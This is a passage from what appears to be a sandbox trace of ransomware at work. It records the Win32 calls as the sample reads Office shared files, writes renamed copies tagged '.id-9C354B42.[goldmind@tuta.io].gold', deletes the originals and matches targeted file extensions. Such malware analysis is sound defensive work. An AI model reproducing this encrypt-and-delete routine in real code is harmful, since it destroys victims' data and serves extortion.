tag\\metconv.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0039.896] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=1183416) returned 1 [0039.896] CloseHandle (hObject=0x1f4) returned 1 [0039.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 0x20 [0039.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0039.896] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0039.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.896] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0039.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0039.897] GetLastError () returned 0x0 [0039.897] ReadFile (in: hFile=0x1f4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0xffff0, lpOverlapped=0x0) returned 1 [0039.944] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0039.956] ReadFile (in: hFile=0x1f4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x20ec8, lpOverlapped=0x0) returned 1 [0040.231] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x20ed0, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x20ed0, lpOverlapped=0x0) returned 1 [0040.234] ReadFile (in: hFile=0x1f4, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0040.234] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.234] SetEndOfFile (hFile=0x1e8) returned 1 [0040.235] CloseHandle (hObject=0x1e8) returned 1 [0040.344] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.344] SetEndOfFile (hFile=0x1f4) returned 1 [0040.451] CloseHandle (hObject=0x1f4) returned 1 [0040.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.451] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt")) returned 1 [0040.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.451] lstrlenW (lpString=".doc") returned 4 [0040.451] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0040.451] lstrlenW (lpString=".docx") returned 5 [0040.451] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0040.451] lstrlenW (lpString=".pdf") returned 4 [0040.451] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0040.451] lstrlenW (lpString=".xls") returned 4 [0040.451] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0040.451] lstrlenW (lpString=".xlsx") returned 5 [0040.451] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0040.451] lstrlenW (lpString=".ppt") returned 4 [0040.451] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".zip") returned 4 [0040.452] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0040.452] lstrlenW (lpString=".rar") returned 4 [0040.452] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString=".bz2") returned 4 [0040.452] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString=".7z") returned 3 [0040.452] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".dbf") returned 4 [0040.452] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".1cd") returned 4 [0040.452] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".jpg") returned 4 [0040.452] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".doc") returned 4 [0040.452] lstrcmpiW (lpString1=".doc", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString=".docx") returned 5 [0040.452] lstrcmpiW (lpString1=".docx", lpString2="V.TXT") returned -1 [0040.452] lstrlenW (lpString=".pdf") returned 4 [0040.452] lstrcmpiW (lpString1=".pdf", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString=".xls") returned 4 [0040.452] lstrcmpiW (lpString1=".xls", lpString2=".TXT") returned 1 [0040.452] lstrlenW (lpString=".xlsx") returned 5 [0040.452] lstrcmpiW (lpString1=".xlsx", lpString2="V.TXT") returned -1 [0040.452] lstrlenW (lpString=".ppt") returned 4 [0040.452] lstrcmpiW (lpString1=".ppt", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".zip") returned 4 [0040.452] lstrcmpiW (lpString1=".zip", lpString2=".TXT") returned 1 [0040.452] lstrlenW (lpString=".rar") returned 4 [0040.452] lstrcmpiW (lpString1=".rar", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString=".bz2") returned 4 [0040.452] lstrcmpiW (lpString1=".bz2", lpString2=".TXT") returned -1 [0040.452] lstrlenW (lpString=".7z") returned 3 [0040.452] lstrcmpiW (lpString1=".7z", lpString2="TXT") returned -1 [0040.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.452] lstrlenW (lpString=".dbf") returned 4 [0040.452] lstrcmpiW (lpString1=".dbf", lpString2=".TXT") returned -1 [0040.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.453] lstrlenW (lpString=".1cd") returned 4 [0040.453] lstrcmpiW (lpString1=".1cd", lpString2=".TXT") returned -1 [0040.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT") returned 68 [0040.453] lstrlenW (lpString=".jpg") returned 4 [0040.453] lstrcmpiW (lpString1=".jpg", lpString2=".TXT") returned -1 [0040.453] lstrcmpiW (lpString1=".htm", lpString2=".gold") returned 1 [0040.453] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0040.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.530] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=237) returned 1 [0040.530] CloseHandle (hObject=0x20c) returned 1 [0040.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0040.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.530] lstrlenW (lpString=".doc") returned 4 [0040.530] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0040.530] lstrlenW (lpString=".docx") returned 5 [0040.530] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0040.530] lstrlenW (lpString=".pdf") returned 4 [0040.530] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0040.530] lstrlenW (lpString=".xls") returned 4 [0040.530] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0040.530] lstrlenW (lpString=".xlsx") returned 5 [0040.530] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0040.530] lstrlenW (lpString=".ppt") returned 4 [0040.530] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0040.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.530] lstrlenW (lpString=".zip") returned 4 [0040.530] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0040.530] lstrlenW (lpString=".rar") returned 4 [0040.531] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString=".bz2") returned 4 [0040.531] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString=".7z") returned 3 [0040.531] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".dbf") returned 4 [0040.531] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".1cd") returned 4 [0040.531] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".jpg") returned 4 [0040.531] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".doc") returned 4 [0040.531] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString=".docx") returned 5 [0040.531] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0040.531] lstrlenW (lpString=".pdf") returned 4 [0040.531] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString=".xls") returned 4 [0040.531] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString=".xlsx") returned 5 [0040.531] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0040.531] lstrlenW (lpString=".ppt") returned 4 [0040.531] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".zip") returned 4 [0040.531] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString=".rar") returned 4 [0040.531] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0040.531] lstrlenW (lpString=".bz2") returned 4 [0040.531] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString=".7z") returned 3 [0040.531] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".dbf") returned 4 [0040.531] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".1cd") returned 4 [0040.531] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0040.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0040.531] lstrlenW (lpString=".jpg") returned 4 [0040.531] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0040.531] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.531] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.877] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=19780) returned 1 [0040.879] CloseHandle (hObject=0x1f4) returned 1 [0040.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 0x20 [0040.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0040.880] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.887] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.887] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.894] GetLastError () returned 0x0 [0040.894] ReadFile (in: hFile=0x188, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x4d44, lpOverlapped=0x0) returned 1 [0040.952] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x4d50, lpOverlapped=0x0) returned 1 [0040.953] ReadFile (in: hFile=0x188, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0040.953] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.953] SetEndOfFile (hFile=0x1f4) returned 1 [0040.954] CloseHandle (hObject=0x1f4) returned 1 [0040.954] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.955] SetEndOfFile (hFile=0x188) returned 1 [0040.955] CloseHandle (hObject=0x188) returned 1 [0040.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0040.956] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png")) returned 1 [0040.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.956] lstrlenW (lpString=".doc") returned 4 [0040.956] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.956] lstrlenW (lpString=".docx") returned 5 [0040.956] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.956] lstrlenW (lpString=".pdf") returned 4 [0040.956] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.956] lstrlenW (lpString=".xls") returned 4 [0040.956] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.956] lstrlenW (lpString=".xlsx") returned 5 [0040.956] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.956] lstrlenW (lpString=".ppt") returned 4 [0040.956] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.956] lstrlenW (lpString=".zip") returned 4 [0040.956] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.956] lstrlenW (lpString=".rar") returned 4 [0040.956] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.956] lstrlenW (lpString=".bz2") returned 4 [0040.956] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.956] lstrlenW (lpString=".7z") returned 3 [0040.956] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.956] lstrlenW (lpString=".dbf") returned 4 [0040.956] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.956] lstrlenW (lpString=".1cd") returned 4 [0040.957] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString=".jpg") returned 4 [0040.957] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString=".doc") returned 4 [0040.957] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString=".docx") returned 5 [0040.957] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0040.957] lstrlenW (lpString=".pdf") returned 4 [0040.957] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString=".xls") returned 4 [0040.957] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0040.957] lstrlenW (lpString=".xlsx") returned 5 [0040.957] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0040.957] lstrlenW (lpString=".ppt") returned 4 [0040.957] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString=".zip") returned 4 [0040.957] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0040.957] lstrlenW (lpString=".rar") returned 4 [0040.957] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0040.957] lstrlenW (lpString=".bz2") returned 4 [0040.957] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString=".7z") returned 3 [0040.957] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString=".dbf") returned 4 [0040.957] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString=".1cd") returned 4 [0040.957] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0040.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG") returned 75 [0040.957] lstrlenW (lpString=".jpg") returned 4 [0040.957] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0040.957] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0040.957] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0040.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.966] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=27407) returned 1 [0040.966] CloseHandle (hObject=0x1fc) returned 1 [0040.966] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0040.967] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0040.967] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.967] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0040.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0040.972] GetLastError () returned 0x0 [0040.972] ReadFile (in: hFile=0x1fc, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0040.980] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, 